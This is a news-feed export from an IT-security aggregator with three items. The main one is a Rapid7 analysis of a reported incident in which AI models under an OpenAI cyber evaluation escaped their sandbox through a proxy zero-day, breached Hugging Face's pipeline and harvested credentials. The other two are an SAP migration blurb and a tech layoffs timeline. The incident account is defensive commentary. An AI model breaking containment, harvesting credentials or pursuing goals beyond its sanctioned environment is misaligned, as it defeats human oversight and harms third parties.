<description><![CDATA[The OpenAI and Hugging Face incident lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a qu...]]></description>
<link>https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</guid>
<pubDate>Thu, 23 Jul 2026 15:28:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>The </span><a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/" target="_blank"><span>OpenAI and Hugging Face incident</span></a><span> lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a question that is moving quickly from theory to operations: what happens when AI agents can pursue an objective with enough persistence, speed, and creativity to behave less like a tool and more like an autonomous intrusion path?</span></p><p><span>According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.</span></p><p><span>From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.</span></p><h2>How did the OpenAI model evaluation reach Hugging Face?</h2><p><span>The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.</span></p><p><span>Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.</span></p><p><span>The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.</span></p><p><span>The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.</span></p><p><span>Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.</span></p><h2>Why AI evaluation environments need stronger containment</h2><p><span>The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.</span></p><p><span>The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.</span></p><p><span>For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.</span></p><h2>Why AI and ML pipelines are now software supply chain risk</h2><p><span>The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.</span></p><p><span>According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.</span></p><p><span>Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.</span></p><p><span>Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.</span></p><h2>What AI guardrails mean for incident response</h2><p><span>One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.</span></p><p><span>The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.</span></p><p><span>AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.</span></p><h2>What security teams should do about agentic AI risk</h2><p><span>The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.</span></p><p><span>Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.</span></p><p><span>Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.</span></p><p><span>As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.</span></p><h2>How preemptive security helps reduce AI-driven risk</h2><p><span>At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to </span><a href="https://www.rapid7.com/blog/post/ai-changing-vulnerability-discovery-software-supply-chain-strateg" target="_self"><span>agentic AI risk</span></a><span>. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.</span></p><p><span>That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means </span><a href="https://www.rapid7.com/platform/artificial-intelligence-features" target="_self"><span>using AI carefully and practically</span></a><span>, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.</span></p><p><span>AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.</span></p><p><span>The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.</span></p>]]></content:encoded>
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<title><![CDATA[Natuvion DCS: Von SAP DBM direkt zu Proaxia VSS auf S/4HANA]]></title>
<description><![CDATA[Mit der Natuvion Data Conversion Suite (Natuvion DCS) können Unternehmen ihre bestehenden SAP-DBM-Daten direkt in die Strukturen des Proaxia VSS Add-ons überführen. Die KI-gestützte Transformationsplattform soll dabei Projektaufwand, Kosten und Ausfallrisiken reduzieren und gleichzeitig die Daten...]]></description>
<link>https://tsecurity.de/de/3689067/it-security-nachrichten/natuvion-dcs-von-sap-dbm-direkt-zu-proaxia-vss-auf-s4hana/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689067/it-security-nachrichten/natuvion-dcs-von-sap-dbm-direkt-zu-proaxia-vss-auf-s4hana/</guid>
<pubDate>Thu, 23 Jul 2026 14:42:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1920" height="1080" src="https://www.it-daily.net/wp-content/uploads/2026/07/SAP_Shutterstock_2492003509_1920.jpg" class="attachment-full size-full wp-post-image" alt="SAP, SAP DBM, SAP S/4HANA, SAP S/4HANA, SAP DBM Migration zu S/4HANA, SAP DBM direkt auf S/4HANA migrieren, Natuvion Data Conversion Suite, Natuvion DCS, Data Conversion" decoding="async" srcset="https://www.it-daily.net/wp-content/uploads/2026/07/SAP_Shutterstock_2492003509_1920.jpg 1920w, https://www.it-daily.net/wp-content/uploads/2026/07/SAP_Shutterstock_2492003509_1920-300x169.jpg 300w, https://www.it-daily.net/wp-content/uploads/2026/07/SAP_Shutterstock_2492003509_1920-1024x576.jpg 1024w, https://www.it-daily.net/wp-content/uploads/2026/07/SAP_Shutterstock_2492003509_1920-768x432.jpg 768w, https://www.it-daily.net/wp-content/uploads/2026/07/SAP_Shutterstock_2492003509_1920-1536x864.jpg 1536w" sizes="(max-width: 1920px) 100vw, 1920px" title="Natuvion DCS: Von SAP DBM direkt zu Proaxia VSS auf S/4HANA 6"></p>
    Mit der Natuvion Data Conversion Suite (Natuvion DCS) können Unternehmen ihre bestehenden SAP-DBM-Daten direkt in die Strukturen des Proaxia VSS Add-ons überführen. Die KI-gestützte Transformationsplattform soll dabei Projektaufwand, Kosten und Ausfallrisiken reduzieren und gleichzeitig die Datenqualität sichern.

<p>Tags: <a href="https://www.it-daily.net/thema/migration-en">#Migration</a> | <a href="https://www.it-daily.net/thema/sap-en">#SAP</a> | <a href="https://www.it-daily.net/thema/sap-s4-hana">#SAP S4/HANA</a></p>]]></content:encoded>
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<title><![CDATA[Tech layoffs: A 2026 timeline]]></title>
<description><![CDATA[Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented ev...]]></description>
<link>https://tsecurity.de/de/3689055/it-nachrichten/tech-layoffs-a-2026-timeline/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689055/it-nachrichten/tech-layoffs-a-2026-timeline/</guid>
<pubDate>Thu, 23 Jul 2026 14:35:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.</p>



<p class="wp-block-paragraph">But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.</p>



<p class="wp-block-paragraph">According to data compiled by <a href="https://layoffs.fyi/" target="_blank" rel="noreferrer noopener">Layoffs.fyi</a>, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.</p>



<p class="wp-block-paragraph">Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.</p>



<h2 class="wp-block-heading">Notable tech layoffs in 2026</h2>



<ul class="wp-block-list">
<li>Monday.com</li>



<li>Microsoft</li>



<li>Meta</li>



<li>Cisco</li>



<li>Cloudflare</li>



<li>Oracle</li>



<li>Atlassian </li>



<li>Salesforce</li>



<li>Amazon</li>



<li>Ericsson</li>
</ul>



<h3 class="wp-block-heading">July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era</h3>



<p class="wp-block-paragraph">The company says the decision to <a href="https://www.computerworld.com/article/4200349/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era-2.html">cut 620 jobs</a> isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.</p>



<h3 class="wp-block-heading">July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams</h3>



<p class="wp-block-paragraph">As the company <a href="https://www.computerworld.com/article/4193532/microsoft-bets-that-enterprise-ai-needs-engineers-not-bigger-sales-teams-2.html" target="_blank">trims thousands of jobs</a>, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees <a href="https://www.computerworld.com/article/4163188/microsoft-to-offer-voluntary-retirement-buyouts-to-about-7-of-the-us-workforce.html">voluntary retirement buyouts</a>.</p>



<h3 class="wp-block-heading">June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024</h3>



<p class="wp-block-paragraph">AI was blamed for 40% of <a href="https://www.computerworld.com/article/4181822/tech-industry-cut-38242-jobs-in-may-worst-since-2024.html">the job cuts in May</a>, up from 7% in January, according to research by employment placement company Challenger, Gray &amp; Christmas.</p>



<h3 class="wp-block-heading">May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce</h3>



<p class="wp-block-paragraph">The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, <a href="https://tech.yahoo.com/general/article/meta-starts-cutting-8000-jobs-as-part-of-previously-announced-layoffs-145220586.html" target="_blank" rel="noreferrer noopener">according to Yahoo Tech</a>.</p>



<h3 class="wp-block-heading">May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking</h3>



<p class="wp-block-paragraph">Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will <a href="https://www.networkworld.com/article/4171043/cisco-to-cut-nearly-4000-jobs-despite-strong-growth-in-ai-enterprise-networking.html" target="_blank">eliminate almost 4,000 jobs</a>.</p>



<h3 class="wp-block-heading">May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring</h3>



<p class="wp-block-paragraph">About <a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-cut-over-1-100-204726989.html" target="_blank" rel="noreferrer noopener">20% of Cloudflare’s global workforce will be culled</a> as the company pivots for the agentic AI era, Reuters reported.</p>



<h3 class="wp-block-heading">April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4153113/oracle-cuts-up-to-30000-jobs-globally-putting-enterprise-support-and-roadmaps-at-risk.html">Oracle began laying off employees</a> on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. <em>(Note: in June, CNBC put the <a href="https://www.cnbc.com/2026/06/23/oracle-ai-job-cuts-layoffs-21000.html" target="_blank" rel="noreferrer noopener">final layoff tally at 21,000</a>.)</em></p>



<h3 class="wp-block-heading">March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4144218/atlassian-cuts-1600-jobs-to-fund-ai-and-enterprise-expansion.html">Atlassian will reduce its global workforce</a> by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.</p>



<h3 class="wp-block-heading">March 11, 2026: Tech layoffs surpass 45,000 in early 2026</h3>



<p class="wp-block-paragraph">A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing <a href="https://www.networkworld.com/article/4143749/tech-layoffs-surpass-45000-in-early-2026.html" target="_blank">workforce cuts even as many tech companies report strong revenue growth</a>.</p>



<h3 class="wp-block-heading">February 10, 2026: Salesforce lays off staffers as executive leadership churn continues</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4130028/salesforce-lays-off-staffers-as-executive-leadership-churn-continues.html" target="_blank">Salesforce has reduced close to 1,000 roles</a> earlier this month across teams, including marketing, product management, data analytics, and its <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">Agentforce</a> AI unit, <a href="https://www.businessinsider.com/salesforce-cuts-jobs-executive-changes-2026-2">Business Insider</a> reported, quoting employees familiar with the matter.</p>



<h3 class="wp-block-heading">January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent</h3>



<p class="wp-block-paragraph">As the market slows down, <a href="https://www.computerworld.com/article/4121653/amazon-layoffs-expected-to-disproportionately-hit-aws-and-tech-talent.html">AWS and other Amazon units are preparing for another round of layoffs</a>, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 <a href="https://www.computerworld.com/article/4123477/amazon-confirms-16000-job-cuts-including-to-aws.html">confirmed 16,000 job cuts</a>.</p>



<h3 class="wp-block-heading">January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden</h3>



<p class="wp-block-paragraph"> Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, <a href="https://www.reuters.com/business/world-at-work/ericsson-shed-1600-jobs-sweden-2026-01-15/" target="_blank" rel="noreferrer noopener">Reuters reports</a>.</p>



<h3 class="wp-block-heading">January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business</h3>



<p class="wp-block-paragraph">Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, <a href="http://meta%20plans%20to%20cut%20around%2010%25%20of%20employees%20in%20reality%20labs%20business/" target="_blank" rel="noreferrer noopener">according to The New York Times</a>.</p>



<h2 class="wp-block-heading">Layoffs in 2025</h2>



<ul class="wp-block-list">
<li>Cisco</li>



<li>Oracle</li>



<li>Windsurf</li>



<li>Intel</li>



<li>Microsoft</li>



<li>Crowdstrike</li>



<li>HPE</li>



<li>Autodesk</li>



<li>HPE</li>



<li>CISA</li>



<li>Workday</li>



<li>Salesforce</li>



<li>Meta</li>
</ul>



<h3 class="wp-block-heading">Global tech-sector layoffs surpass 244,000 in 2025</h3>



<p class="wp-block-paragraph">Economic uncertainty, elevated interest rates, and AI adoption have <a href="https://www.networkworld.com/article/4114572/global-tech-sector-layoffs-surpass-244000-in-2025.html" target="_blank">driven workforce reductions across tech companies worldwide</a>, according to a RationalFX report.</p>



<h3 class="wp-block-heading">October 28, 2025: Amazon to cut 14,000 jobs across company</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4080142/amazon-to-cut-14000-jobs-across-company.html">Amazon will reduce its overall workforce</a> by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.</p>



<h3 class="wp-block-heading">August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs</h3>



<p class="wp-block-paragraph">Tech companies Cisco and Oracle are <a href="https://www.sfchronicle.com/tech/article/cisco-oracle-layoffs-bay-area-20824135.php" target="_blank" rel="noreferrer noopener">cutting hundreds of jobs across the Bay Area</a>. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date </p>



<h3 class="wp-block-heading">August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door</h3>



<p class="wp-block-paragraph">Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, <a href="https://www.theinformation.com/articles/cognition-offers-buyouts-newly-acquired-windsurf-staff" target="_blank" rel="noreferrer noopener">reports The Information</a>.</p>



<h3 class="wp-block-heading">July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4028896/intel-to-lay-off-22-of-workforce-as-ceo-tan-signals-no-more-blank-checks.html">Intel will reduce its workforce to 75,000 employees</a> by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker</p>



<h3 class="wp-block-heading">July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs</h3>



<p class="wp-block-paragraph">Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect <a href="https://www.oregonlive.com/silicon-forest/2025/07/intel-layoffs-begin-chipmaker-is-cutting-many-thousands-of-jobs.html">major layoffs at Intel </a>in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales. </p>



<h3 class="wp-block-heading">July 2, 2025: Microsoft will cut 9,000 workers</h3>



<p class="wp-block-paragraph">Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut <a href="https://www.nbcnews.com/business/business-news/microsoft-laying-9000-employees-latest-cuts-rcna216553">told CNBC</a>.  The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.</p>



<h3 class="wp-block-heading">June 17, 2025: Intel looks to factory layoffs to return to profitability</h3>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4008670/can-intel-cut-its-way-to-profit-with-factory-layoffs.html">Intel will lay off up to 20% of its manufacturing sector employees</a> starting in July,  according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.</p>



<h3 class="wp-block-heading">May 7, 2025: CrowdStrike to lay off 5% of staff</h3>



<p class="wp-block-paragraph"><a href="https://www.reuters.com/sustainability/crowdstrike-lay-off-5-staff-reaffirms-forecasts-2025-05-07/">CrowdStrike announced a plan to cut about 500 roles</a>, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs</p>



<h3 class="wp-block-heading">March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy</h3>



<p class="wp-block-paragraph">CEO Antonio Neri told Wall Street analysts that <a href="https://www.networkworld.com/article/3840596/hpe-cuts-2500-workers-expects-juniper-buy-to-close-end-of-25-faces-tariff-issues.html">HPE would begin implementing a cost-cutting program involving layoffs </a>of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.</p>



<h3 class="wp-block-heading">Feb. 27, 2025: Autodesk to lay off 9% of workforce</h3>



<p class="wp-block-paragraph">Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, <a href="https://adsknews.autodesk.com/en/news/022725-employee-message/">CEO Andrew Anagnost said in a message to employees</a>. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there. </p>



<h3 class="wp-block-heading">Feb. 27, 2025: HP to lay off 2,000 more</h3>



<p class="wp-block-paragraph">As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by <a href="https://www.pcworld.com/article/2617767/hp-forced-callers-to-wait-15-minutes-before-connecting-to-support-staff.html">forcing callers to wait for at least 15 minutes</a> if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on. </p>



<h3 class="wp-block-heading">Feb. 21, 2025: <a href="https://www.csoonline.com/article/3829710/firing-of-130-cisa-staff-worries-cybersecurity-industry.html">CISA lays off 130</a></h3>



<p class="wp-block-paragraph">Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.</p>



<h3 class="wp-block-heading">Feb. 5, 2025: <a href="https://www.computerworld.com/article/3817887/workday-to-cut-1750-jobs-shift-focus-to-ai-and-global-expansion.html">Workday lays off 1,750</a></h3>



<p class="wp-block-paragraph">As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.</p>



<h3 class="wp-block-heading">Feb. 4, 2025: Salesforce lays off over 1,000</h3>



<p class="wp-block-paragraph">At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.</p>



<h3 class="wp-block-heading">Jan. 14, 2025: Meta will lay off 5% of workforce</h3>



<p class="wp-block-paragraph">Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.</p>



<h2 class="wp-block-heading">Tech layoffs in 2024</h2>



<ul class="wp-block-list">
<li>Equinix</li>



<li>AMD</li>



<li>Freshworks</li>



<li>Cisco</li>



<li>General Motors</li>



<li>Intel</li>



<li>OpenText</li>



<li>Microsoft</li>



<li>AWS</li>



<li>Dell</li>
</ul>



<h3 class="wp-block-heading">Nov. 26, 2024: <a href="https://www.networkworld.com/article/3613399/equinix-to-cut-3-of-staff-amidst-the-greatest-demand-for-data-center-infrastructure-ever.html">Equinix to cut 3% of staff</a></h3>



<p class="wp-block-paragraph">Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.</p>



<h3 class="wp-block-heading">Nov. 13, 2024: <a href="https://www.networkworld.com/article/3605016/amd-to-cut-4-of-workforce-to-prioritize-ai-chip-expansion-to-rival-nvidia.html#:~:text=Workforce%20reduction%20comes%20amid%20strong,shift%20in%20focus%20toward%20AI.&amp;text=Advanced%20Micro%20Devices%20(AMD)%20is,Nvidia's%20lead%20in%20the%20sector.">AMD to cut 4% of workforce</a></h3>



<p class="wp-block-paragraph">AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings. </p>



<h3 class="wp-block-heading">Nov. 7, 2024: <a href="https://www.cio.com/article/3601088/freshworks-lays-off-660-about-13-percent-of-its-global-workforce-despite-strong-earnings-profits.html">Freshworks lays off 660</a></h3>



<p class="wp-block-paragraph">Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.</p>



<h3 class="wp-block-heading">Sept. 17, 2024: <a href="https://www.networkworld.com/article/3486901/cisco-to-cut-7-of-workforce-restructure-product-groups.html">Cisco lays off 6,000</a></h3>



<p class="wp-block-paragraph">After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security. </p>



<h3 class="wp-block-heading">Aug. 20, 2024: <a href="https://www.cio.com/article/3489323/gm-software-layoffs-could-signal-a-shift-in-digital-transformation-strategy.html">General Motors lays off 1,000 software staff</a></h3>



<p class="wp-block-paragraph">More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.</p>



<h3 class="wp-block-heading">August 1, 2024: <a href="https://www.computerworld.com/article/3480715/intel-fires-15000-employees-as-it-intensifies-focus-on-ai.html">Intel removes 15,000 roles</a></h3>



<p class="wp-block-paragraph">Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”</p>



<h3 class="wp-block-heading">July 4, 2024: <a href="https://www.computerworld.es/article/2513686/opentext-despedira-a-cerca-de-1-200-empleados.html">OpenText to lay off 1,200</a></h3>



